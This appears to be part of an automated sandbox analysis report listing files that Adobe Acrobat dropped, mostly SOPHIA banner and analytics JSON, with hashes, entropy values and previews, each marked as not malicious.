Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.359764099957673
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBUTbEctjpwWnVoZcg1vRcR0YIvUoAvJM3g98kUwPeUkwRe9:YvXKXBUEJ3Zc0vPnGMbLUkee9
MD5:	75C3DD3BF6F5DAC7749A9006A404B7A1
SHA1:	6DB106D2D212FD078E1DB0A17B2F121E034C106D
SHA-256:	524444EA9B3BD6735DB6E66B2455A48F16484BDD7738C55D9039EF010B76B268
SHA-512:	7449EF1506AD9F6B8B3DB0B940CBBDE8FC7692FAF231F1957A7A62AF7E4AB8E160868576F2B35504F40E45ECD120368FB79782597F291270568A260531B882C1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"61676cbc-315a-4252-84ae-17285eb91433","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736749942491,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.310659881769884
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBUTbEctjpwWnVoZcg1vRcR0YIvUoAvJfBoTfXpnrPeUkwRe9:YvXKXBUEJ3Zc0vPnGWTfXcUkee9
MD5:	EF786FDEA7D0608B33FF774BB9BCE407
SHA1:	4F1A6DF0C4429014FCAE863182DE4FE60BD66FC9
SHA-256:	FE4730764940C03E44EACBC553AEF8C08B861843A89DEA4542B4EDB2212344BC
SHA-512:	82B8D1C1B10BF38F47F4EE6F35B9FEBE8C623308A08257D7FC7D3F8DC096BF814A22C3A4C44A7FA6B3C662C58E047B107BDF5F406AD3D3C2DBE02D1EE5B8215E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"61676cbc-315a-4252-84ae-17285eb91433","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736749942491,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.289208198295889
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBUTbEctjpwWnVoZcg1vRcR0YIvUoAvJfBD2G6UpnrPeUkwRe9:YvXKXBUEJ3Zc0vPnGR22cUkee9
MD5:	119C7D8B208EEA31975612F009711C42
SHA1:	B88AF7802B2FDFE5057646DCAA3813958F302867
SHA-256:	E02B2C475DBDC1807F7BF701C964F6F782FCCB5045B8A1A3717FB4D31B99CA27
SHA-512:	107C21D076BA18F30BC9CF15DD404C5EEACA571672F9B1CFD1D3199FE29CC880D92A7733759EED447C36BBA6CCE50F3226185CCEBCB83628D15B06B203406AB8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"61676cbc-315a-4252-84ae-17285eb91433","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736749942491,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.3466483154033755
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBUTbEctjpwWnVoZcg1vRcR0YIvUoAvJfPmwrPeUkwRe9:YvXKXBUEJ3Zc0vPnGH56Ukee9
MD5:	9EE0F81B94343607A04EBD62DF0EFA69
SHA1:	014F98ED5AA35F5BA3C592A6E3CAAD0E91E09397
SHA-256:	136318C2509C4FE3C89FC75421A18B1F8F154DFF961317CC6C08B12458B3BF33
SHA-512:	27559EDEB389925BA683A4CD5CFD41E3567ED680A9697396BB6CFFFCB36E9949E0B58E1E8253372CAB822C38C054B2819F6E9D9C0B7F844518FF35EE72827B93
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"61676cbc-315a-4252-84ae-17285eb91433","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736749942491,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.69043124946186
Encrypted:	false
SSDEEP:	24:Yv6XBUE9zvPspLgE9cQx8LennAvzBvkn0RCmK8czOCCSh:YvEzBMhgy6SAFv5Ah8cv/h
MD5:	F8A746C4BBE5D5FD653DF8ED660A2A32
SHA1:	487DC8813B6233ED94B273765B1ACBACE2DA9EF5
SHA-256:	374ABB299D4479814346991E7C343ECE5243736A07ABD878B009CB6C240227C0
SHA-512:	6D072B461332474806320B80402CABEE458A0CF58B0CE3420D82669F376144904CFA61C162332F355FF04BEA1C0A2B63974C460E483D4E0F38C8491CF520E907
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"61676cbc-315a-4252-84ae-17285eb91433","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736749942491,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.295404877139054
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBUTbEctjpwWnVoZcg1vRcR0YIvUoAvJf8dPeUkwRe9:YvXKXBUEJ3Zc0vPnGU8Ukee9
MD5:	47E671B6928DD30925E7B97194F9430B
SHA1:	D09BD0E9475E1D55B0B7E84238543E3FE5600CE4
SHA-256:	548EB5F65F5DE70B9BC6C654878ED48448A4A10C6883216E219CC57BEF0D2866
SHA-512:	2882DEC07124D9977B7CBC4061941D525D29A489B30D2469642816A297A87A61D4CCE96A8CC1DF22320AAC440870E514F4C96932376EAC32A3C20C87758F4F2A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"61676cbc-315a-4252-84ae-17285eb91433","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736749942491,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.29935272292977
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBUTbEctjpwWnVoZcg1vRcR0YIvUoAvJfQ1rPeUkwRe9:YvXKXBUEJ3Zc0vPnGY16Ukee9
MD5:	ADCD24D4A88ADF0ABFCDEE785FA64C4B
SHA1:	0C5E97D6D558EAB1F324F5E3293170912C4E347B
SHA-256:	6386BA4CEA0B3E228AE09F025155D9848BAA0F54334839D6154293BC02981771
SHA-512:	EE0879347F8B94D35BA1975D6AEEE6613DD5D7DC39A28C0B69A23B6069C4ADACD39B94E78E921E85999A8E578F95F7A605919151CDE97795CF6CF74C754470F4
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"61676cbc-315a-4252-84ae-17285eb91433","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736749942491,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.306974473418104
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBUTbEctjpwWnVoZcg1vRcR0YIvUoAvJfFldPeUkwRe9:YvXKXBUEJ3Zc0vPnGz8Ukee9
MD5:	643F824C23F07A8E601CF4093FF0A3A6
SHA1:	54712CE111257520C32296C8D0E30767F9243814
SHA-256:	0A083379675CD1FCE54F7C8C3204B5DAA2015B296A7C4FD44C6A9463B939F765
SHA-512:	E89CE281C49755E7D041CC5C4F58EA29F91FAF769B3D53C0D8219A0834609D737A525606787AAB7332AE0D659253EE7E1F2B8C122D62E954978171E61F0571CA
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"61676cbc-315a-4252-84ae-17285eb91433","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736749942491,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.321017479083563
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBUTbEctjpwWnVoZcg1vRcR0YIvUoAvJfzdPeUkwRe9:YvXKXBUEJ3Zc0vPnGb8Ukee9
MD5:	E46B2F9753C7B44245C1228ABA9563C5
SHA1:	4F9376D33D53CA95AE0F3E17B442897F39C33E1D
SHA-256:	B2A68492415B51353055DB520CAEF4EED01F8958DFAB7123C9606FA3CE8B5398
SHA-512:	1BBDF0E1072A12F478F6EF911BAC9C1FCFACC4BD673494C4CD9997CFAED7F73CC779622FA2CD8FF6D411F401953171719E08F28D9972A5545D64FE2B508D1840
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"61676cbc-315a-4252-84ae-17285eb91433","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736749942491,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.301695558012924
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBUTbEctjpwWnVoZcg1vRcR0YIvUoAvJfYdPeUkwRe9:YvXKXBUEJ3Zc0vPnGg8Ukee9
MD5:	3A083D80AFBF887DD5CABC2034686C0E
SHA1:	7BF694EF9F46B76843900685E9D7D5123A435629
SHA-256:	4F745AB96370AE07671FFF9D0C34FB9B8560FD5FBA7002821B14E9D7D08FDAEC
SHA-512:	7535C3533C06E1BB2AFA5E523339414BD6C48527231BDBDB05B3C9283B6A8DAE7AAB665E23D3F6991EAFB0E4E74693E377DAE58671877FC238BF0057E9BA9169
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"61676cbc-315a-4252-84ae-17285eb91433","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736749942491,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.288074773136907
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBUTbEctjpwWnVoZcg1vRcR0YIvUoAvJf+dPeUkwRe9:YvXKXBUEJ3Zc0vPnG28Ukee9
MD5:	0AF5A4A9F72D4389F2D4DD88021B1A1E
SHA1:	7043C2337E96DD02EDC0016F6435AAB0D90711F8
SHA-256:	6597CEBE1F6EFF37355C84C9163A051707F8FA1EA67C78C20909A17A76B28C9D
SHA-512:	098626BA04E706F9728298CD88F6BC3B1DF7E4587F832A9554F5B88F1F256D6BA5791D2405433D44C8E54A03F876F5BE5400843FAD0AA65A7E49F5081508C141
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"61676cbc-315a-4252-84ae-17285eb91433","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736749942491,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.285231002367112
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBUTbEctjpwWnVoZcg1vRcR0YIvUoAvJfbPtdPeUkwRe9:YvXKXBUEJ3Zc0vPnGDV8Ukee9
MD5:	D00029C0E18BF226A2A81CFFB675F13C
SHA1:	7846CFF93990B035876528DE1490843666633C16
SHA-256:	75EB3BDB6FC7E145CA679025A36DB0E45B94DA869A6D35623BAE90A94F6DE910
SHA-512:	91148C8F9CE009021E8251CEE2A2C9B86CE1D1201774D7DD2932F2411F06331E02DC0DEA575F546E249EBD12222827E1779070784D5D159D2DA159ECA0F2B6B1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"61676cbc-315a-4252-84ae-17285eb91433","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736749942491,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.289905924058295
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBUTbEctjpwWnVoZcg1vRcR0YIvUoAvJf21rPeUkwRe9:YvXKXBUEJ3Zc0vPnG+16Ukee9
MD5:	65E6AD3B761A3FAA25D7A2D2C0EA414B
SHA1:	C6A709C074F57E2A595770FA6BFE347A7F1CBD2B
SHA-256:	E5768FF37B2CD8E39C46B6DCF7D390687CA632EC11A9CB46FE2B57498646AD26
SHA-512:	D81CD56B1A37BE622501591E6B6580731A822B60BAA6DA869BA23F21B01AD8319464C5011A4C70B6D46C89A5E73B93838882DFDFC0D44CA23DA8F92546193DA9
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"61676cbc-315a-4252-84ae-17285eb91433","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736749942491,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.665757156618903
Encrypted:	false
SSDEEP:	24:Yv6XBUE9zvPYamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSh:YvEzB+BgkDMUJUAh8cvMh
MD5:	D3A3D619A548A83B8A76C109148EFF07
SHA1:	081BBE5FFB39BCFE496C435917ECFE5FD672859B
SHA-256:	B5775D3A2FDE48B7D45479CB8AEB2CF20993EF5E06FC78D70BA124F37F5E0456
SHA-512:	C89BF7C31FE5FEA916E444CC369CFC491457EAFE74A881396C782007F5A4ECB4B6555D123C0749402116B5FC9F0114892E11AD7AEEA19DDF82BF54B10E0D9047
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"61676cbc-315a-4252-84ae-17285eb91433","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736749942491,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.267843526702463
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBUTbEctjpwWnVoZcg1vRcR0YIvUoAvJfshHHrPeUkwRe9:YvXKXBUEJ3Zc0vPnGUUUkee9
MD5:	274682F8F67DF89A0CE2C2FCC5C40B80
SHA1:	374F62B8A373161BE03D1EB1FC0CF5146ECA2D31
SHA-256:	FC986877402BA182A7A797F05DCE89D2A1C96CBBD9E76948D3B432B6453BDB17
SHA-512:	454D2DF0FEC0B873CF3137A094DF6CD6B89104721EABDE292710AFF5948EC4762F053A3FF3B3337605A63159D697E75C45F4FDFA8B0028998F48764CA19B7388
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"61676cbc-315a-4252-84ae-17285eb91433","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736749942491,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.278502160118999
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBUTbEctjpwWnVoZcg1vRcR0YIvUoAvJTqgFCrPeUkwRe9:YvXKXBUEJ3Zc0vPnGTq16Ukee9
MD5:	4DAC133982A30AFA0A72635308A263CC
SHA1:	E1281E55B8413791565F7A158F0D44D0B198B5DF
SHA-256:	0926B8FD93F85451D609492425B6CFF28FDC36499F0348AE6EFBCAA5770DBF55
SHA-512:	33D812DC3555C1F126D3149D72B0D70364FF0457F01925B937E309DED9BBD6B818CFB99D294F77C6348C806E12D0D3E50964D36A6BEC3E546D8E9D83A8B788F0
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"61676cbc-315a-4252-84ae-17285eb91433","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736749942491,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.137351644034072
Encrypted:	false
SSDEEP:	24:YQjba1T8XayiXccv6pTyk8U4VjC/WIj0SHxoX22TJ92LSZCDiLoMiLE5wQ9ne17y:YQVGcVBqCeKdeXN9DNoMiYGQ9m7tY
MD5:	2AB61D4D24F0B6088F291430C834541C
SHA1:	428C1CD2F3B79B59E8D869153975DFEE95CF631A
SHA-256:	29E0D148528052B07828E08C4A2713EF84DC88BDC31F42D4CCEE9821F564F8B4
SHA-512:	7A43D8C8E7A9A511D0CA39EC8E8B4B9C42137C19E90D316BBCFDF314848CD0CA3D20546DD390EE9A0307A1156669DCC872DE05ECE1711FF7BC50D992B9E5196F
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"41e5a95961b8eebea20600df4c9f3cdf","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736575507000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"ba386f5289f036778f6c7bc10e2ab81c","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736575507000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"8e57ce42f90b2b220abede63a0bf7e82","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736575507000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"82984783ca447125b094c69de27b2776","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736575507000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"11c31abdacfd98a9c9d8265c23e9fc52","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736575507000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"4e168cfb458913277f79886788531580","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.1881918472868909
Encrypted:	false
SSDEEP:	48:TGufl2GL7msEHUUUUUUUUtYSvR9H9vxFGiDIAEkGVvpBW:lNVmswUUUUUUUUy+FGSIt0
MD5:	71DB39B63154916EFD2868E94BA45370
SHA1:	6BF4DCF991D74C36C7DEAAF41C514CAD8BF19179
SHA-256:	A3B72C71D3A95032060D33763EFEE8752DD9D29B89A430F68371BD6174FC2DB5
SHA-512:	9E83AA47DADBFA04EFD4E4CE91311CDD5B76B4F058D5BAD47D47E92BEAA06CB4A98978F49B7239BF4259C1263916D2D1BB76518E7806009D681B04A6BA019597
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.6094838447376456
Encrypted:	false
SSDEEP:	48:7MEKUUUUUUUUUUt6vR9H9vxFGiDIAEkGVvdqFl2GL7ms8:7gUUUUUUUUUUYFGSIt7KVms8
MD5:	C66DAFC4BCD845B4A58CF43649C76F2E
SHA1:	29B11E06638D628F61AA421D912EF907CE42CB57
SHA-256:	D54E04B47DC725A0282F52602346FA3E4302E373AC65FD9A651C8051FE376465
SHA-512:	BE74AAA3F6068A45B022A331E53AB34646917F9C6991402745FF0E74C55B80E4A210E3D131EEE4B2923C0E2D95E677CD95334DA9C10F941B601E5E593F7E47D3
Malicious:	false
Preview:	.... .c........[......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................f.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEglVRHxbGDk+6rCdvUHDM7kQ0rlYyu:6a6TZ44ADEDRHxbG4+XqjVK
MD5:	70C827A933C42D22EADD6124ED58F49A
SHA1:	884CA1C27B84243A41E3DAE32F12ED125EA1790C
SHA-256:	8BAA0D35B348FEC3729B193F486DD0EEA749910085A310FCE28D5629F0ACFB8F
SHA-512:	FF81CC1CF8494152893376804F24FD49AAE3542891A8CE70A07C0133F71380B7006C446039DA57A393B454CB0F55F3C6CDCACA4F6477044621AAC046D85A6DBA
Malicious:	false
